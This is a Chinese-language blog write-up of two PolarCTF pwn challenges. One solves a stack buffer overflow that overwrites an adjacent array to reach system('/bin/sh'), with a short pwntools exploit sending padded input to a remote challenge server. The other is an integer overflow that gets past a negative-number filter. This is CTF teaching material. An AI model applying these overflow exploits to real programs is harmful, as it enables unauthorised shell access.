首页 > 其他分享 >PolarCTF-Pwn(中等)WP

PolarCTF-Pwn(中等)WP

时间:2024-12-05 19:20:57浏览次数:3  
标签:__ PolarCTF puts s2 lovecat char 缓冲区 WP Pwn

1、没人能拒绝猫猫

ida看主函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[32]; // [rsp+0h] [rbp-50h] BYREF
  _QWORD s2[6]; // [rsp+20h] [rbp-30h] BYREF

  s2[5] = __readfsqword(0x28u);
  init();
  puts("                      __     __,");
  ...
  puts("                             `'-'`");
  s2[0] = 'tacetah';
  puts("Do you love cat? (lovecat/hatecat)");
  read(0, buf, 0x28uLL);
  if ( !strcmp("lovecat", (const char *)s2) )
  {
    puts("Nice choice!\n");
    system("/bin/sh");
  }
  else
  {
    puts("Everyone have their own choice.\n");
    puts("My choice is you have no flag^^");
  }
  return 0;
}

发现!strcmp("lovecat", (const char *)s2),只要s2和lovecat一致,就可以让条件为真,执行system命令
来自豆包:
代码中定义的 buf 数组大小为 32 字节,然而却尝试从标准输入读取 40 字节(0x28 换算为十进制是 40)的数据,这就导致了缓冲区溢出情况。
缓冲区溢出是指程序运行时,向固定大小的缓冲区写入超过其容量的数据,多余的数据会越过缓冲区的边界覆盖相邻内存空间,从而造成溢出。
代码将单个字符 'tacetah' 赋给 s2[0],不符合正常的字符串赋值逻辑(C 语言字符串是以 \0 结尾的字符序列),但在比较时却把 s2 当作字符串来和 "lovecat" 比较。这意味着攻击者可以通过缓冲区溢出,尝试去修改 s2 数组对应的内存区域,使其内容能匹配 "lovecat",进而使 strcmp 返回 0,满足条件判断进入期望的执行分支。
因此可以构造数据来篡改内存,使用AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlovecat\0来篡改
由于存在缓冲区溢出,我们需要构造一个长度合适且包含关键内容的输入字符串。输入字符串总长度要达到 40 字节(因为 read 函数会读取这么多字节),前 32 字节可以随意填充(通常填充一些无意义字符即可,比如 A 的重复),后面紧跟着要写入 lovecat\0 (确保以 \0 结尾符合字符串格式要求)来覆盖 s2 数组对应的内存区域,使得 strcmp 函数认为 s2 指向的内容和 "lovecat" 相等。(定义的时候buf数组和s2数组是相邻的)例如,构造的输入字符串可以是:
exp如下:

from pwn import *
p=remote("1.95.36.136",2058)
p.sendline('a'*32+'lovecat\0')
p.interactive()

得到flag
image
拓展:危险函数
C标准库中和字符串操作有关的函数,像strcpy、strcat、sprintf、gets等函数中,数组和指针都没有自动进行边界检查,因此很容易引发缓冲区溢出漏洞

2、easypwn2

国际惯例看代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("**********************************");
  ...
  puts("**********************************");
  __isoc99_scanf("%16s", s);
  if ( strchr(s, 45) )
    return 0;
  if ( atoi(s) < 0 )
    vuln();
  return 0;
}

其中vuln()函数可以执行cat flag,因此只要能够执行vuln函数就可以获得flag
注意到两个判断函数:
第一个:ASCII码45转换成字符是-(负号),说明程序试图过滤掉输入的负号
第二个:在C语言中,atoi函数会从字符串开头开始解析,遇到非数字字符就停止解析,将前面解析出来的数字部分转换为对应的整数值。因此可以得出:只要输入一个负数就可以执行vuln()
既然负号被过滤了,就只能用另一种方法输入负数
可以想到int上限是2147483647,超过这个数字就会变成负数,因此只需要输入2147483648就可以获得flag
image
获得flag

标签:__,PolarCTF,puts,s2,lovecat,char,缓冲区,WP,Pwn
From: https://www.cnblogs.com/ljnljn/p/18589267

相关文章

  • 深入解析 `Proxy.newProxyInstance` 方法的三个参数
    深入解析Proxy.newProxyInstance方法的三个参数在Java中,动态代理是通过java.lang.reflect.Proxy类和java.lang.reflect.InvocationHandler接口来实现的。Proxy.newProxyInstance方法是创建动态代理实例的核心。为了更好地理解这个方法及其参数,我们将逐一探讨每个参数的作用,并结......
  • PolarCTF-Pwn的WP
    1、sandboxida查看box函数,发现对输入的字符做了检查(sh、cat、flag)if(strchr(buf,'s')||strchr(buf,'h')||strstr(buf,"cat")||strstr(buf,"flag")||strchr(buf,'-')){puts("Illegalcommand.");e......
  • WPF笔记10——Visibility.Hidden和Visibility.Collapsed
    在WPF中,Visibility.Hidden和Visibility.Collapsed在某些情况下看起来运行效果相似,但实际上有一些区别:1、布局影响Visibility.Collapsed:当一个元素的Visibility属性被设置为Visibility.Collapsed时,该元素在布局过程中会被完全忽略。就好像这个元素不存在一样,它不会占据任......
  • WPF笔记9——设置应用程序单实例运行
    设置WPF应用程序单实例运行**方式1:**///<summary>///InteractionlogicforApp.xaml///</summary>publicpartialclassApp:Application{///<summary>///程序启动///</summary>///<pa......
  • WPF datagrid multiselect via inheritance from behavior
    publicclassDatagridMultiSelectBehavior:Behavior<DataGrid>{protectedoverridevoidOnAttached(){base.OnAttached();}protectedoverridevoidOnDetaching(){base.OnDetaching();}publicIEnumerab......
  • ‌无法解析的外部符号 __swprintf
    ‌无法解析的外部符号__swprintf错误通常是由于编译器在链接过程中找不到相应的库文件导致的。‌错误原因在VisualStudio2015中,编译器默认将许多标准库函数改为内联方式处理,导致这些函数在DLL或LIB文件中不可见,从而无法链接到标准库中的函数。具体来说,__swprintf函数......
  • B站朝夕教育 【.NET9.0+WPF实战三类流程化业务逻辑控制】学习记录 【七】
    播放地址:20241120-.NET9.0+WPF实战三类流程化业务逻辑控制-10_哔哩哔哩_bilibili第16-19节调整代码让拖拽到控制流程图里的模块可以再次拖拽移动MainView.xaml文件主要调整ItemsControl中的节点增加几个事件,这里注意 TargetObject="{BindingRelativeSource={RelativeSource......
  • B站朝夕教育 【.NET9.0+WPF实战三类流程化业务逻辑控制】学习记录 【六】
    播放地址:20241120-.NET9.0+WPF实战三类流程化业务逻辑控制-10_哔哩哔哩_bilibili第14-15节调整代码让拖拽到控制流程图里的模块产生位移NodeModel新增两个属性X,Y记录控件的位置信息1publicabstractclassNodeModel:ObservableObject2{3publicabstra......
  • B站朝夕教育 【.NET9.0+WPF实战三类流程化业务逻辑控制】学习记录 【五】
    播放地址:20241120-.NET9.0+WPF实战三类流程化业务逻辑控制-10_哔哩哔哩_bilibili第11-12节布局规划页面,大概分析接下来的目标第13节设计流程图控制调整页面布局,展示流程图模块1<Windowx:Class="WpfApp2.MainView"2xmlns="http://schemas.microsoft.com/winfx......
  • B站朝夕教育 【.NET9.0+WPF实战三类流程化业务逻辑控制】学习记录 【四】
    播放地址:20241120-.NET9.0+WPF实战三类流程化业务逻辑控制-10_哔哩哔哩_bilibili第10节通过调整MainViewModel文件代码实现判断拖拽对象并生成对应组件publicpartialclassMainViewModel{publicObservableCollection<NodeModel>ProcessList{get;set;......